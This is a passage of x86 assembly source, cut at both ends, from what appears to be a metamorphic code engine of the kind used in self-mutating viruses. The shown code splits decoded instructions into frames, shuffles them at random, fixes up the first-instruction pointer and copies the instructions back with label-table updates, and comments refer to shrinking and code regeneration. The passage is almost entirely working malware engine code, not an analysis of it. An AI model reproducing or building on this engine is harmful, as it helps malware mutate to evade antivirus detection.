generate another or ecx, ecx ; If we have arrived until the last jz @@FramesCreationFinished ; instruction, it's finished. mov [edi], esi ; Insert the instruction of this add esi, ecx ; frame and the last instruction. mov [edi+4], esi add edi, 8 @@FramesCreationFinished: mov [ebp+AddressOfLastFrame], edi ; Set the last frame. @@TempLabel: ;; Calculate MOD mov eax, edi ; Get a value we can use for mov ebx, [ebp+FramesTable] ; mask a random number. The sub eax, ebx ; value is got from the total ; EAX = Number of frames * 8 ; number of frames. mov ebx, 8 @@LoopCalculateMOD: shl ebx, 1 cmp ebx, eax jb @@LoopCalculateMOD sub ebx, 8 mov [ebp+MODValue], ebx ;; Now we have frames that we can permutate. We save the address of ;; the first frame to know where to jump when the code is reassembled mov esi, [ebp+FramesTable] mov [ebp+PositionOfFirstInstruction], esi ;; The frames are permutated. We have taken in account the first ;; instruction and we save everytime the address where the first ;; instruction is. ;; ESI = Table of frames ;; EDI = Address of last frame mov edx, esi @@LoopExchange: call Random mov ebx, [ebp+MODValue] and eax, ebx add eax, esi ; Get frame in EAX ; ; Uncommenting this instruction the engine doesn't permutate anything ; ; (used to avoid getting crazy while finding bugs in regenerated codes) ; mov eax, edx cmp eax, edi ; Frame address > last frame address? jae @@LoopExchange ; If so, get other random frame mov ecx, [eax] ; Exchange frame at EDX with the random mov ebx, [edx] ; frame got above. mov [eax], ebx mov [edx], ecx ; Be aware of first instruction position! cmp edx, [ebp+PositionOfFirstInstruction] jnz @@LookEAX mov [ebp+PositionOfFirstInstruction], eax jmp @@ExchangeNext @@LookEAX: cmp eax, [ebp+PositionOfFirstInstruction] jnz @@ExchangeNext mov [ebp+PositionOfFirstInstruction], edx @@ExchangeNext: add eax, 4 add edx, 4 mov ecx, [eax] ; Exchange frame mov ebx, [edx] mov [eax], ebx mov [edx], ecx add edx, 4 ; Next frame cmp edx, edi ; Last frame? jb @@LoopExchange ; If not, exchange next ;; Now we are going to copy the instructions and update the label ;; addresses in the label table. We include NOPs because they can ;; have a label over them, and if we eliminate them the label ;; updating will be problematic. mov esi, [ebp+InstructionTable] mov edi, [ebp+PermutationResult] mov ebx, [ebp+FramesTable] mov eax, [ebp+PositionOfFirstInstruction] cmp ebx, eax jnz @@InsertJump2 @@LoopCopyFrame: mov eax, 0FFh mov [ebp+Permut_LastInstruction], eax mov edx, [ebx] ; Get the start and end address of the add ebx, 4 ; frame and copy the instructions. mov ecx, [ebx] add ebx, 4 @@LoopCopyInstructions: mov eax, [edx] cmp al, 4Fh ; If we find a remaining pseudoopcode jnz @@NextInstruction ; 4F from the shrinking part, we mov al, 51h ; substitute it by the correct one: mov [edx], eax ; PUSH Mem2/POP Mem push eax push ebx mov ebx, [edx+7] mov eax, 59h mov [ebx], al pop ebx pop eax @@NextInstruction: mov [edi], eax ; Copy the instruction mov eax, [edx+4] mov [edi+4], eax mov eax, [edx+8] mov [edi+8], eax mov [edi+0Ch], edx ; Set pointer to old code mov [edx+0Ch], edi ; Set pointer to new code mov eax, [edi] and eax, 0FFh ; NOP? cmp eax, 0FFh jz @@NextInstruction2 @@SetLastInstruction: ; mov eax, [edi] ; Save opcode for later ; and eax, 0FFh mov [ebp+Permut_LastInstruction], eax jmp @@NextInstruction3 @@NextInstruction2: mov eax, [edi+0Bh] ; Label over a NOP? and eax, 0FFh or eax, eax ; If so, jump to fix the problem jnz @@SetLastInstruction @@NextInstruction3: add edi, 10h ; Next instruction in the frame add edx, 10h cmp edx, ecx ; Last instruction in the frame? jnz @@LoopCopyInstructions ; If not, loop to copy mov eax, [ebp+AddressOfLastFrame] ; Check if it's the last cmp ebx, eax ; frame of the code (not of jae @@LastFrameArrived ; the table) mov eax, [ebx] ; Get the frame in the table cmp eax, edx ; Is it the same? jz @@LoopTestIfLastFrame ; Check if it's the last frame ; of the permutation table @@LastFrameArrived: mov eax, [ebp+Permut_LastInstruction] cmp eax, 0E9h ; JMP